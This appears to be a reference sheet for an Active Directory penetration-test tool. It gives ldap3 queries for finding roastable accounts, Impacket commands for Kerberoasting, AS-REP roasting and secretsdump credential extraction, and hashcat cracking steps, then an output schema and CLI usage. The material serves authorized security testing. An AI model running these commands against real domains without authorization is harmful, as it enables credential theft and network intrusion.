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Active Directory Penetration Test - API Reference

ldap3 Library

Connection

from ldap3 import Server, Connection, ALL, SUBTREE
server = Server("ldaps://dc.example.com", get_info=ALL, use_ssl=True)
conn = Connection(server, user="DOMAIN\\user", password="pass", auto_bind=True)

Key LDAP Queries

Purpose Filter
All users (&(objectClass=user)(objectCategory=person))
Users with SPNs (&(objectClass=user)(servicePrincipalName=*))
AS-REP Roastable (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Domain admins (&(objectClass=group)(cn=Domain Admins))
Password policy (objectClass=domain)

UserAccountControl Flags

Flag Hex Test
ACCOUNTDISABLE 0x0002 Account disabled
PASSWD_NOTREQD 0x0020 No password required
DONT_EXPIRE_PASSWORD 0x10000 Password never expires
DONT_REQ_PREAUTH 0x400000 No Kerberos pre-auth

Impacket Tools

GetUserSPNs (Kerberoasting)

python3 -m impacket.examples.GetUserSPNs DOMAIN/user:pass -dc-ip 10.0.0.1 -request

GetNPUsers (AS-REP Roasting)

python3 -m impacket.examples.GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.0.0.1

secretsdump (Credential Extraction)

python3 -m impacket.examples.secretsdump DOMAIN/admin:pass@10.0.0.1

Attack Techniques

Kerberoasting

  1. Enumerate users with SPNs via LDAP
  2. Request TGS tickets for those SPNs
  3. Extract ticket hashes
  4. Crack offline with hashcat (mode 13100)

AS-REP Roasting

  1. Find accounts with pre-auth disabled
  2. Request AS-REP without authentication
  3. Extract encrypted part of AS-REP
  4. Crack offline with hashcat (mode 18200)

Password Policy Weaknesses

  • Min length < 12 characters
  • No account lockout threshold
  • No password history enforcement
  • Password never expires on service accounts

Output Schema

{
  "report": "ad_penetration_test",
  "domain_info": {"default_naming_context": "DC=example,DC=com"},
  "total_users": 500,
  "total_findings": 12,
  "severity_summary": {"critical": 1, "high": 8, "medium": 3}
}

CLI Usage

python agent.py --server ldaps://dc.example.com --username "DOMAIN\\user" --password "pass" --output report.json